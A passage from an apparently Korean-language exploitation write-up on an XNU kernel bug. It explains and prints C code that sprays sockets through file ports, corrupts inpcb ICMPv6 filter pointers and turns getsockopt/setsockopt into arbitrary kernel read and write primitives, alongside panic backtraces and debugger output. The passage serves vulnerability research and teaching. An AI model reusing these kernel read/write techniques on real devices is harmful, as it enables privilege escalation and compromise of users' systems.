off_socket_so_usecount = 0x%llx -&gt; 0x%llx\\n&quot;, controlSocketAddr + off_socket_so_usecount, controlSocketSoCount);usleep(50000);\n\n    uint64_t rwSocketSoCount = early_kread64(rwSocketAddr + off_socket_so_usecount);\n    \/\/ printf(&quot;rwSocketAddr + off_socket_so_usecount = 0x%llx -&gt; 0x%llx\\n&quot;, rwSocketAddr + off_socket_so_usecount, rwSocketSoCount);usleep(50000);\n\n    \/\/ Set 0x1001 to socket-&gt;so_usecount, socket-&gt;so_retaincnt\n    early_kwrite64(controlSocketAddr + off_socket_so_usecount,\n                   controlSocketSoCount + 0x0000100100001001);\n    early_kwrite64(rwSocketAddr + off_socket_so_usecount,\n                   rwSocketSoCount + 0x0000100100001001);\n\n    early_kwrite64(rwSocketPcb + off_inpcb_inp_depend6_inp6_chksum, 0);\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n    offsets_init();\n    if(kextrw_init() != 0) {\n        printf(&quot;kextrw_init() failed!\\n&quot;);\n        while(1) {};\n    }\n    kextrw_get_kernel_base();\n\n    fileport_t socketPort = spray_socket();\n    fileport_t socketPort2 = spray_socket();\n    printf(&quot;socketPort = 0x%x, socketPort2 = 0x%x\\n&quot;, socketPort, socketPort2);\n\n    uint64_t inpcb = socketPort_to_inpcb(socketPort);\n    uint64_t inpcb2 = socketPort_to_inpcb(socketPort2);\n    printf(&quot;inpcb = 0x%llx, inpcb2 = 0x%llx\\n&quot;, inpcb, inpcb2);\n\n    printf(&quot;Corrupting inpcb...\\n&quot;);\n    uint64_t nextInpcb = kextrw_kread64(inpcb + off_inpcb_inp_list_le_prev) - off_inpcb_inp_list_le_next;\n    assert(nextInpcb == inpcb2);    \/\/ should be same with inpcb2\n    kextrw_kwrite64(inpcb + off_inpcb_inp_depend6_inp6_icmp6filt, nextInpcb + off_inpcb_inp_depend6_inp6_icmp6filt);\n    kextrw_kwrite64(inpcb + off_inpcb_inp_depend6_inp6_chksum, 0);\n\n    printf(&quot;Buliding kernel r\/w...\\n&quot;);\n    socklen_t len = GETSOCKOPT_READ_LEN;\n    void *getsockoptReadData = calloc(1, len);\n    int sock = fileport_makefd(socketPort);\n    int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockoptReadData, &amp;len);\n    assert(res == 0);\n    g_controlSocket = sock;\n    g_rwSocket = fileport_makefd(socketPort2);\n\n    printf(&quot;Testing kernel r\/w...\\n&quot;);\n    uint64_t sig = early_kread64(gKernelBase);\n    printf(&quot;sig = 0x%llx\\n&quot;, sig);\n    assert(sig == 0x100000cfeedfacf);\n    uint64_t kptr = kextrw_kalloc(PAGE_SIZE);\n    early_kwrite64(kptr, 0x4142434413371338);\n    uint64_t val = kextrw_kread64(kptr);\n    printf(&quot;kptr = 0x%llx -&gt; val: 0x%llx\\n&quot;, kptr, val);;\n    assert(val == 0x4142434413371338);\n    kextrw_kfree(kptr, PAGE_SIZE);\n\n    uint64_t controlSocketPcb = early_kread64(nextInpcb + off_inpcb_inp_list_le_next);\n    assert(controlSocketPcb == inpcb);  \/\/ should be same with inpcb\n    krw_sockets_leak_forever(controlSocketPcb, nextInpcb);\n\n    kextrw_deinit();\n\n    puts(&quot;done&quot;);\n    getchar();\n    return 0;\n}\n\n<\/code><\/pre>\n<p>\uc6b0\uc120 <code>spray_socket<\/code>\uc744 \uc0b4\ud3b4\ubcf4\uba74, \uc18c\ucf13\uc744 \uc0dd\uc131\ud558\uace0 <code>fileport_makeport<\/code> \ub97c \ud638\ucd9c\ud558\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">fileport_t spray_socket(void) {\n    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);\n    if (fd == -1) {\n        printf(&quot;[-] socket create failed!!!&quot;);\n        return fd;\n    }\n\n    fileport_t outputSocketPort = 0;\n    fileport_makeport(fd, &amp;outputSocketPort);\n    close(fd);\n\n    return outputSocketPort;\n}\n<\/code><\/pre>\n<p><code>fileport_makeport<\/code> \ub294 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\uc640 \uc0c8\ub85c \uc0dd\uc131\ub420 Mach \ud3ec\ud2b8\ub97c \uc778\uc790\ub85c \ubc1b\ub294\ub2e4. \ucee4\ub110\uc5d0\uc11c <code>sys_fileport_makeport<\/code>\ub97c \uc0b4\ud3b4\ubcf4\uba74, <code>fileport_alloc<\/code>\uc744 \ud1b5\ud574 \uc0c8 \ud3ec\ud2b8\ub97c \uc0dd\uc131\ud558\uace0 \ud574\ub2f9 \ud3ec\ud2b8\uc5d0 \ub300\ud55c send right\ub97c <code>ipc_port_copyout_send<\/code>\uc5d0\uc11c \ud560\ub2f9\ud55c \ub2e4\uc74c, <code>fileglob<\/code> \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\ub97c \uc9c0\uc6d0\ud558\ub294 \ucee4\ub110 \uad6c\uc870\uccb4\ub97c \ud574\ub2f9 \ud3ec\ud2b8\uc640 \uc5f0\uacb0\ud55c\ub2e4. <code>fg_ref<\/code>\uc5d0 \uc758\ud574 <code>fg_count<\/code>\ub97c \uc99d\uac00\uc2dc\ud0a8 \ub2e4\uc74c, \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\uac00 Mach name-right\uc774 \ub418\uc5c8\uc73c\ubbc0\ub85c, Mach \uba54\uc2dc\uc9c0 \ub0b4\uc758 \ub514\uc2a4\ud06c\ub9bd\ud130(descriptor)\ub85c\uc11c \ub2e4\ub978 \ud504\ub85c\uc138\uc2a4\ub85c \uc804\uc1a1\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ xnu-12377.1.9\/bsd\/kern\/kern_descrip.c:5879\n\nint\nsys_fileport_makeport(proc_t p, struct fileport_makeport_args *uap,\n    __unused int *retval)\n{\n        int err;\n        int fd = uap-&gt;fd;\n        user_addr_t user_portaddr = uap-&gt;portnamep;\n        struct fileproc *fp = FILEPROC_NULL;\n        struct fileglob *fg = NULL;\n        ipc_port_t fileport;\n        mach_port_name_t name = MACH_PORT_NULL;\n\n        ...\n        err = fp_lookup(p, fd, &amp;fp, 1);\n        if (err != 0) {\n                goto out_unlock;\n        }\n\n        fg = fp-&gt;fp_glob;\n        ...\n\n        \/* Dropped when port is deallocated *\/\n        fg_ref(p, fg);\n\n        ...\n\n        \/* Allocate and initialize a port *\/\n        fileport = fileport_alloc(fg);\n        if (fileport == IPC_PORT_NULL) {\n                fg_drop_live(fg);\n                err = EAGAIN;\n                goto out;\n        }\n\n        \/* Add an entry.  Deallocates port on failure. *\/\n        name = ipc_port_copyout_send(fileport, get_task_ipcspace(proc_task(p)));\n        if (!MACH_PORT_VALID(name)) {\n                err = EINVAL;\n                goto out;\n        }\n\n        err = copyout(&amp;name, user_portaddr, sizeof(mach_port_name_t));\n        if (err != 0) {\n                goto out;\n        }\n\n        ...\n\n        return 0;\n\nout_unlock:\n        proc_fdunlock(p);\nout:\n        ...\n\n        return err;\n}\n<\/code><\/pre>\n<p>\uc774\ud6c4\uc5d0 <code>close(fd)<\/code> \ub97c \uc218\ud589\ud558\ub354\ub77c\ub3c4, fileglob refcount\ub97c \uc99d\uac00\uc2dc\ucf30\uae30 \ub54c\ubb38\uc5d0 socket\/inpcb\ub294 \uadf8\ub300\ub85c \ucee4\ub110 \uba54\ubaa8\ub9ac\uc5d0 \ub0a8\uc544\uc788\ub2e4. <code>close_nocancel<\/code> \u2192 <code>fp_close_and_unlock<\/code> \u2192 <code>fg_drop<\/code> \u2192 <code>os_ref_release_raw<\/code> \uc5d0 \uc758\ud574 fg_count\uac00 \uac10\uc18c\ub418\ub354\ub77c\ub3c4 0\uc774 \ub418\uc9c0 \uc54a\uae30 \ub54c\ubb38\uc5d0, <code>fg_close<\/code>, <code>fg_free<\/code> \uac00 \uc218\ud589\ub418\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n<p>\uac01\uac01 2\uac1c\uc758 \uc18c\ucf13\uc744 \uc0dd\uc131\ud558\uc5ec \ud30c\uc77c \ud3ec\ud2b8\ub97c \ub9cc\ub4e4\uace0, inpcb\ub97c \ucde8\uc57d\uc810\uc744 \ud1b5\ud574 \uc218\uc815\ud560 \uc218 \uc788\ub2e4\uace0 \uac00\uc815\ud558\uc5d0 <code>socketPort_to_inpcb<\/code> \ud568\uc218\ub85c inpcb \ucee4\ub110 \uc8fc\uc18c\ub97c \ud68d\ub4dd\ud568\uc73c\ub85c\uc368 \uc218\uc815\ud558\ub3c4\ub85d \ud55c\ub2e4.<\/p>\n<p>\ucc98\uc74c\uc5d0 \uc0dd\uc131\ud55c \uc18c\ucf13\uc758 inpcb \uad6c\uc870\uccb4 \uc911 <code>inp_depend6.inp6_icmp6filt<\/code>, <code>inp_depend6.inp6_cksum<\/code> \ub450 \ud544\ub4dc\ub97c \uc218\uc815\ud55c\ub2e4. <code>inp_depend6.inp6_icmp6filt<\/code> \uc5d0\ub294 \ub2e4\uc74c\ubc88\uc5d0 \uc0dd\uc131\ud588\ub358 \uc18c\ucf13 \uc911 inpcb\uc758 <code>inp_depend6.inp6_icmp6filt<\/code> \uc8fc\uc18c \uac12\uc73c\ub85c \ub36e\uc5b4\uc4f0\uba70, <code>inp_depend6.inp6_cksum<\/code> \uc5d0\ub294 0\uc73c\ub85c \ub36e\uc5b4\uc4f4\ub2e4.<\/p>\n<pre><code class=\"language-c\">fileport_t spray_socket(void) {\n    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);\n    if (fd == -1) {\n        printf(&quot;[-] socket create failed!!!&quot;);\n        return fd;\n    }\n\n    fileport_t outputSocketPort = 0;\n    fileport_makeport(fd, &amp;outputSocketPort);\n    close(fd);\n\n    return outputSocketPort;\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n    offsets_init();\n    if(kextrw_init() != 0) {\n        printf(&quot;kextrw_init() failed!\\n&quot;);\n        while(1) {};\n    }\n    kextrw_get_kernel_base();\n\n    fileport_t socketPort = spray_socket();\n    fileport_t socketPort2 = spray_socket();\n    printf(&quot;socketPort = 0x%x, socketPort2 = 0x%x\\n&quot;, socketPort, socketPort2);\n\n    uint64_t inpcb = socketPort_to_inpcb(socketPort);\n    uint64_t inpcb2 = socketPort_to_inpcb(socketPort2);\n    printf(&quot;inpcb = 0x%llx, inpcb2 = 0x%llx\\n&quot;, inpcb, inpcb2);\n    \n    printf(&quot;Corrupting inpcb...\\n&quot;);\n    uint64_t nextInpcb = kextrw_kread64(inpcb + off_inpcb_inp_list_le_prev) - off_inpcb_inp_list_le_next;\n    assert(nextInpcb == inpcb2);    \/\/ should be same with inpcb2\n    kextrw_kwrite64(inpcb + off_inpcb_inp_depend6_inp6_icmp6filt, nextInpcb + off_inpcb_inp_depend6_inp6_icmp6filt);\n    kextrw_kwrite64(inpcb + off_inpcb_inp_depend6_inp6_chksum, 0);\n    ...\n}\n<\/code><\/pre>\n<p>\ub9cc\uc57d\uc5d0 \ub36e\uc5b4\uc4f0\uae30\ub9cc \ud558\uace0 \ubc14\ub85c \ud504\ub85c\uadf8\ub7a8\uc744 \uc885\ub8cc\uc2dc\ud0a8\ub2e4\uba74, \uc544\ub798\uc640 \uac19\uc740 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<p>\ud504\ub85c\uadf8\ub7a8\uc774 \uc885\ub8cc\ub418\uba74 \uc18c\ucf13\uc774 \uc790\ub3d9\uc73c\ub85c \ub2eb\ud788\uba74\uc11c \ud560\ub2f9\ubc1b\uc558\ub358 \uac1d\uccb4\ub97c \ud574\uc81c\ud558\ub824\uace0 \ud55c\ub2e4. \ucee4\ub110\uc5d0\uc11c <code>rip6_detach<\/code> \uc218\ud589 \uc911  <code>in6p_icmp6filt<\/code> \ub97c kfree\ud558\uba70, \uc5ec\uae30\uc11c \ud560\ub2f9\ubc1b\uc558\ub358 \ucee4\ub110 \uac1d\uccb4\uac00 \ud2b9\uc815 \uc874\uc5d0 \uc704\uce58\ud558\ub294\uc9c0 \uac80\uc0ac\ud558\ub2e4\uac00 \uc2e4\ud328\ud558\ub294 \uac83\uc73c\ub85c \ubcf4\uc778\ub2e4.<\/p>\n<pre><code class=\"language-c\">panic(cpu 1 caller 0xfffffe0026b0c038): 0xfffffe1e38bb7d48 not in the expected zone data.kalloc.32[42], but found in kalloc.type0.1024[321] @zalloc.c:741\n\n(lldb) bt\n* thread #4, name = 'CPU4', stop reason = breakpoint 3.1\n  * frame #0: 0xfffffe0026b05f44 kernel.release.vmapple`panic(str=&quot;%p not in the expected zone %s%s[%d], but found in %s%s[%d] @%s:%d&quot;) at debug.c:1158:2 [opt]\n    frame #1: 0xfffffe0026b0c038 kernel.release.vmapple`zone_page_metadata_index_confusion_panic(zone=&lt;unavailable&gt;, addr=18446742004487126344, meta=&lt;unavailable&gt;) at zalloc.c:739:2 [opt]\n    frame #2: 0xfffffe0026b0c350 kernel.release.vmapple`zone_invalid_element_panic(zone=0xfffffe0028d21c00, addr=18446742004487126344) at zalloc.c:1114:3 [opt]\n    frame #3: 0xfffffe00262a2320 kernel.release.vmapple`__zcache_mark_invalid(zone=&lt;unavailable&gt;, elem=&lt;unavailable&gt;, combined_size=&lt;unavailable&gt;) at zalloc.c:0 [opt] [inlined]\n    frame #4: 0xfffffe00262a2314 kernel.release.vmapple`zfree_ext(zone=&lt;unavailable&gt;, zstats=&lt;unavailable&gt;, addr=&lt;unavailable&gt;, combined_size=&lt;unavailable&gt;) at zalloc.c:5491:9 [opt]\n    frame #5: 0xfffffe00267014e8 kernel.release.vmapple`rip6_detach(so=&lt;unavailable&gt;) at raw_ip6.c:1045:3 [opt]\n    frame #6: 0xfffffe002680250c kernel.release.vmapple`soclose_locked(so=0xfffffe28cdc80040) at uipc_socket.c:1307:16 [opt]\n    frame #7: 0xfffffe0026802be0 kernel.release.vmapple`soclose(so=0xfffffe28cdc80040) at uipc_socket.c:1343:11 [opt]\n    frame #8: 0xfffffe002676006c kernel.release.vmapple`fo_close(fg=0xfffffe2301c39508, ctx=0xfffffe8f36997ba0) at kern_descrip.c:6202:9 [opt] [inlined]\n    frame #9: 0xfffffe0026760044 kernel.release.vmapple`fg_drop(p=0xffffffffffffffff, fg=0xfffffe2301c39508) at kern_descrip.c:289:11 [opt] [inlined]\n    frame #10: 0xfffffe0026760030 kernel.release.vmapple`fileport_releasefg(fg=0xfffffe2301c39508) at kern_descrip.c:5960:8 [opt]\n    frame #11: 0xfffffe002620afd4 kernel.release.vmapple`ipc_notify_no_senders_kobject(port=0xfffffe1d33e2c220, mscount=1) at ipc_notify.c:175:3 [opt] [inlined]\n    frame #12: 0xfffffe002620afa0 kernel.release.vmapple`ipc_notify_no_senders_emit(nsrequest=ipc_notify_nsenders_t @ 0x0000600002b29e80) at ipc_notify.h:241:3 [opt] [inlined]\n    frame #13: 0xfffffe002620af3c kernel.release.vmapple`ipc_right_terminate(space=&lt;unavailable&gt;, name=3851, entry=0xfffffe28cd52e668) at ipc_right.c:822:3 [opt]\n    frame #14: 0xfffffe002620e3f4 kernel.release.vmapple`ipc_space_terminate(space=0xfffffe2404037a00) at ipc_space.c:465:4 [opt]\n    frame #15: 0xfffffe002626ccd8 kernel.release.vmapple`task_terminate_internal(task=0xfffffe186cb38910) at task.c:3291:2 [opt]\n    frame #16: 0xfffffe00267810a8 kernel.release.vmapple`exit_with_reason(p=0xfffffe186cb38170, rv=2, retval=&lt;unavailable&gt;, thread_can_terminate=&lt;unavailable&gt;, perf_notify=1, jetsam_flags=0, exit_reason=0xfffffe186ce3dbe0) at kern_exit.c:1664:2 [opt]\n    frame #17: 0xfffffe00267aa0a8 kernel.release.vmapple`postsig_locked(signum=2) at kern_sig.c:3186:3 [opt]\n    frame #18: 0xfffffe00267aa5d8 kernel.release.vmapple`bsd_ast(thread=0xfffffe186ca7d828) at kern_sig.c:3455:4 [opt]\n    frame #19: 0xfffffe0026219c98 kernel.release.vmapple`ast_taken_user at ast.c:225:3 [opt]\n    frame #20: 0xfffffe00261cc438 kernel.release.vmapple`user_take_ast + 12\n<\/code><\/pre>\n<p>\ub2e4\uc2dc \ub3cc\uc544\uc640\uc11c, 2\uad70\ub370\uc758 \ud544\ub4dc\uac12\uc744 \ub36e\uc5b4\uc37c\ub2e4\uba74,<\/p>\n<p>\uc774\uc81c \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\uac00 \uc5b4\ub5bb\uac8c \uc774\ub904\uc9c0\ub294\uc9c0 \ub2e4\ub904\ubcfc \ucc28\ub840\uc774\ub2e4.<\/p>\n<p><code>fileport_makefd<\/code>\ub294 \uc774\uc804\uc5d0 \uc0dd\uc131\ud588\ub358 \ud30c\uc77c \ud3ec\ud2b8\ub97c \ub2e4\uc2dc \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\ub85c \ubcc0\ud658\ud574\uc8fc\ub294 \ud568\uc218\uc774\uba70, <code>getsockopt<\/code>\ub85c <code>getsockoptReadData<\/code> \ub370\uc774\ud130\ub97c \uac00\uc838\uc624\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">int main(int argc, char *argv[], char *envp[]) {\n    ...\n    printf(&quot;Buliding kernel r\/w...\\n&quot;);\n    socklen_t len = GETSOCKOPT_READ_LEN;\n    void *getsockoptReadData = calloc(1, len);\n    int sock = fileport_makefd(socketPort);\n    int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockoptReadData, &amp;len);\n    assert(res == 0);\n    uhexdump((uint64_t)getsockoptReadData, len);\n    ...   \n}\n<\/code><\/pre>\n<p><code>getsockopt<\/code> \uacbd\ub85c\ub97c \ucee4\ub110\uc5d0\uc11c \ub530\ub77c\uac00\uc11c \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n<p><code>getsockopt<\/code> \u2192 <code>sogetoptlock<\/code> \u2192 <code>icmp6_ctloutput<\/code> \u2192 <code>sooptcopyout<\/code>\uc5d0\uc11c \ucee4\ub110 \uacf5\uac04\uc758 \ub370\uc774\ud130\ub97c \uc0ac\uc6a9\uc790 \uacf5\uac04\uc758 \uba54\ubaa8\ub9ac\ub85c \ubcf5\uc0ac\ud574\uc11c \uac00\uc838\uc628\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-05-16_20.29.51.excalidraw_1.png\" alt=\"Drawing 2026-05-16 20.29.51.excalidraw 1.png\"><\/p>\n<p><code>icmp6_ctloutput<\/code> \ud568\uc218\ub97c \uc790\uc138\ud788 \ub4e4\uc5ec\ub2e4\ubcf4\uba74, <code>in6p_icmp6filt<\/code> \ub97c \uac00\ub9ac\ud0a4\ub294 \uacf3\uc73c\ub85c\ubd80\ud130 \uc77d\uc5b4\uc628\ub2e4.<\/p>\n<pre><code class=\"language-c\">int\nicmp6_ctloutput(struct socket *so, struct sockopt *sopt)\n{\n        switch (op) {\n        ...\n        case PRCO_GETOPT:\n                switch (optname) {\n                case ICMP6_FILTER:\n                {\n                        if (inp-&gt;in6p_icmp6filt == NULL) {\n                                error = EINVAL;\n                                break;\n                        }\n                        size_t copylen = MIN(sizeof(struct icmp6_filter), optlen);\n                        error = sooptcopyout(sopt, __unsafe_forge_bidi_indexable(void*, inp-&gt;in6p_icmp6filt, optlen), copylen);\n                        break;\n                }\n  ...\n        return error;\n}\n<\/code><\/pre>\n<p><code>getsockoptReadData<\/code> \ub370\uc774\ud130 \ub0b4\uc6a9\uc744 \uc0b4\ud3b4\ubcf4\uba74 \uc544\ub798\uc640 \uac19\uc73c\uba70,<\/p>\n<pre><code class=\"language-c\">socketPort = 0x1a13, socketPort2 = 0x1903\ninpcb = 0xfffffe2412927000, inpcb2 = 0xfffffe2412924000\nsocket = 0xfffffe230f854b80, socket2 = 0xfffffe230f854f40\nCorrupting inpcb...\nBuliding kernel r\/w...\n[0x0000000ab2c02fe0+0x000] 40 FD 2A AA 2F FE FF FF  FF FF FF FF FF FF 00 00  |  @.*.\/........... \n[0x0000000ab2c02fe0+0x010] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ \nTesting kernel r\/w...\n<\/code><\/pre>\n<p><code>icmp6_ctloutput<\/code>\uc5d0\uc11c copyout\uc73c\ub85c \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294 \uacf3\uc744 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8 \uac78\uc5b4\uc11c<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-21_at_3.09.30_PM.png\" alt=\"Screenshot 2026-05-21 at 3.09.30\u202fPM.png\"><\/p>\n<p>\ucee4\ub110 \ub514\ubc84\uac70\uc5d0\uc11c \ud655\uc778\ud574\ubd24\uc744\ub54c, <strong>0xfffffe2412924148<\/strong> \ucee4\ub110 \uc8fc\uc18c\ub85c\ubd80\ud130 \ub370\uc774\ud130\ub97c \uac00\uc838\uc624\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) reg read x0 x1 x2\n      x0 = 0xfffffe2412924148\n      x1 = 0x0000000ab2c02fe0\n      x2 = 0x0000000000000020\n(lldb) x\/32gx $x0\n0xfffffe2412924148: 0xfffffe2faa2afd40 0x0000ffffffffffff\n0xfffffe2412924158: 0x0000000000000000 0x0000000000000000\n<\/code><\/pre>\n<p><strong>0xfffffe2412924148<\/strong> \uac12\uc740 1\ubc88\uc9f8 \uc0dd\uc131\ud55c(\uc2a4\ud504\ub808\uc774\ud55c) \uc18c\ucf13 \uc911 <code>inpcb-&gt;inp6_icmp6filt<\/code> \uac12\uc774\ub77c\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) p\/x *(inpcb*)0xfffffe2412927000\n(inpcb) {\n  ...\n  inp_depend6 = {\n    inp6_options = nullptr\n    inp6_outputopts = nullptr\n    inp6_moptions = nullptr\n    inp6_icmp6filt = 0xfffffe2412924148\n    inp6_cksum = 0x00000000\n    inp6_hops = 0x0000\n  }\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-05-16_20.29.51.excalidraw.png\" alt=\"Drawing 2026-05-16 20.29.51.excalidraw.png\"><\/p>\n<p>\ub2e4\uc74c\uc73c\ub85c, inpcb2\uc758 <code>inp_depnd6.inp6_icmp6filt<\/code> \ud544\ub4dc\uc5d0 \uc704\uce58\ud55c \uac12\uc744 \uc218\uc815\ud558\uc5ec \uc784\uc758 \ucee4\ub110 \uc77d\uae30\ub97c \uad6c\ud604\ud558\ub294 \uacfc\uc815\uc774\ub2e4. 2\ubc88\uc9f8\ub85c \uc0dd\uc131\ud55c \uc18c\ucf13 \ub514\uc2a4\ud06c\ub9bd\ud130 \uac12\uc744 <code>g_rwSocket<\/code>, 1\ubc88\uc9f8\ub85c \uc0dd\uc131\ud55c \uc18c\ucf13 \ub514\uc2a4\ud06c\ub9bd\ud130 \uac12\uc744 <code>g_controlSocket<\/code> \uc804\uc5ed\ubcc0\uc218\uc5d0 \uac01\uac01 \uc9c0\uc815\ud55c\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0 <code>early_kread64<\/code>\ub97c \ud1b5\ud574 \ucee4\ub110 \ubca0\uc774\uc2a4 \uac12\uc744 \ud55c\ubc88 \uc77d\uc5b4\ubcf4\uace0\uc790 \ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">int main(int argc, char *argv[], char *envp[]) {\n    ...\n    g_controlSocket = sock;\n    g_rwSocket = fileport_makefd(socketPort2);\n\n    printf(&quot;Testing kernel r\/w...\\n&quot;);\n    uint64_t sig = early_kread64(gKernelBase);\n    printf(&quot;sig = 0x%llx\\n&quot;, sig);\n    assert(sig == 0x100000cfeedfacf);\n    ...\n}\n<\/code><\/pre>\n<p><code>early_kread<\/code> \ub97c \uc0b4\ud3b4\ubcf4\uba74 <code>set_target_kaddr<\/code>\ub97c \ud638\ucd9c\ud558\ub294\ub370 \uc5ec\uae30\uc11c <code>setsockopt<\/code>\ub97c \ud1b5\ud574 \uc77d\ud790 \ucee4\ub110 \uc8fc\uc18c \ub300\uc0c1\uc744 \uc815\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">void set_target_kaddr(uint64_t where) {\n    memset(g_controlData, 0, GETSOCKOPT_READ_LEN);\n    *(uint64_t *)g_controlData = where;\n    int res = setsockopt(g_controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, g_controlData, EARLY_KRW_LENGTH);\n    assert(res == 0);\n}\n\nvoid early_kread(uint64_t where, void *read_buf, size_t size) {\n    if (size &gt; EARLY_KRW_LENGTH) {\n        printf(&quot;[!] error: (size &gt; EARLY_KRW_LENGTH)\\n&quot;);\n        assert(false);\n    }\n    set_target_kaddr(where);\n    socklen_t read_data_length = (socklen_t)size;\n    int res = getsockopt(g_rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &amp;read_data_length);\n    assert(res == 0);\n    return;\n}\n\nuint64_t early_kread64(uint64_t where) {\n    uint64_t value = 0;\n    early_kread(where, &amp;value, sizeof(value));\n    return value;\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n    ...\n    uint64_t sig = early_kread64(gKernelBase);\n    printf(&quot;sig = 0x%llx\\n&quot;, sig);\n    ...\n}\n<\/code><\/pre>\n<p><code>setsockopt<\/code> \uacbd\ub85c\ub97c \ucee4\ub110\uc5d0\uc11c \ub530\ub77c\uac00\uc11c \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n<p><code>setsockopt<\/code> \u2192 <code>sogetoptlock<\/code> \u2192 <code>icmp6_dgram_ctloutput<\/code> \u2192 <code>icmp6_ctloutput<\/code> \u2192 <code>sooptcopyin<\/code>\uc5d0\uc11c <code>inp-&gt;in6p_icmp6filt<\/code> \uc5d0\ub2e4\uac00 \uc0ac\uc6a9\uc790 \uacf5\uac04\uc758 \uba54\ubaa8\ub9ac\ub97c \ucee4\ub110 \uacf5\uac04\uc5d0 \uc4f4\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-05-16_20.29.51.excalidraw_1_1.png\" alt=\"Drawing 2026-05-16 20.29.51.excalidraw 1 1.png\"><\/p>\n<p>\ub530\ub77c\uc11c <code>set_target_kaddr<\/code>\ub97c \uc218\ud589\ud558\uba74,<\/p>\n<p>\uc0dd\uc131\ud55c 1\ubc88\uc9f8 \uc18c\ucf13\uc758 <code>in6p_icmp6filt<\/code>\uac12\uc774 2\ubc88\uc9f8 \uc18c\ucf13\uc758 <code>in6p_icmp6filt<\/code> \uc704\uce58\ub97c \uac00\ub9ac\ud0a4\uae30 \ub54c\ubb38\uc5d0,\n\uc0dd\uc131\ud55c 2\ubc88\uc9f8 \uc18c\ucf13 \uc911 <code>inpcb-&gt;in6p_icmp6filt<\/code> \ud544\ub4dc\uac12\uc774 \uc77d\ud790 \ucee4\ub110 \uc8fc\uc18c\ub85c \uc9c0\uc815\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-05-16_20.29.51.excalidraw_2.png\" alt=\"Drawing 2026-05-16 20.29.51.excalidraw 2.png\"><\/p>\n<p>\uc774\uc81c\ubd80\ud130 2\ubc88\uc9f8\ub85c \uc0dd\uc131\ud55c \uc18c\ucf13 \ub514\uc2a4\ud06c\ub9bd\ud130\ub85c <code>getsockopt<\/code>\ub97c \ud1b5\ud574 \ucee4\ub110 \uc77d\uae30\uac00 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p>\uc774\uc804\uc5d0 \uc124\uba85\ud588\ub4ef\uc774, \ucee4\ub110\uc758 <code>icmp6_ctloutput<\/code> \uc5d0\uc11c <code>in6p_icmp6filt<\/code> \ub97c \uac00\ub9ac\ud0a4\ub294 \uacf3\uc73c\ub85c\ubd80\ud130 \uac12\uc744 \uc77d\uc5b4\uc624\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">int res = getsockopt(g_rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &amp;read_data_length);\n<\/code><\/pre>\n<p>\ub2e4\uc74c\uc73c\ub85c, \u201c\ucee4\ub110 \uc4f0\uae30\u201d\uc5d0 \ub300\ud574 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p>kextrw\uc5d0\uc11c \uc81c\uacf5\ud574\uc8fc\ub294 API\ub97c \ud1b5\ud574 \ucee4\ub110\uc744 \ud560\ub2f9\ubc1b\uc740 \ub2e4\uc74c, \ud560\ub2f9\ubc1b\uc740 \uc8fc\uc18c\uc5d0 \uc81c\ub300\ub85c \uac12\uc774 \uc368\uc84c\ub294\uc9c0 \ud655\uc778\ud574\ubcf8\ub2e4. \ucee4\ub110\uc5d0 \uc784\uc758\uc758 \uc8fc\uc18c\ub97c \uc4f0\ub294 \ud568\uc218\ub294 <code>early_kwrite64<\/code> \uc5d0 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">int main(int argc, char *argv[], char 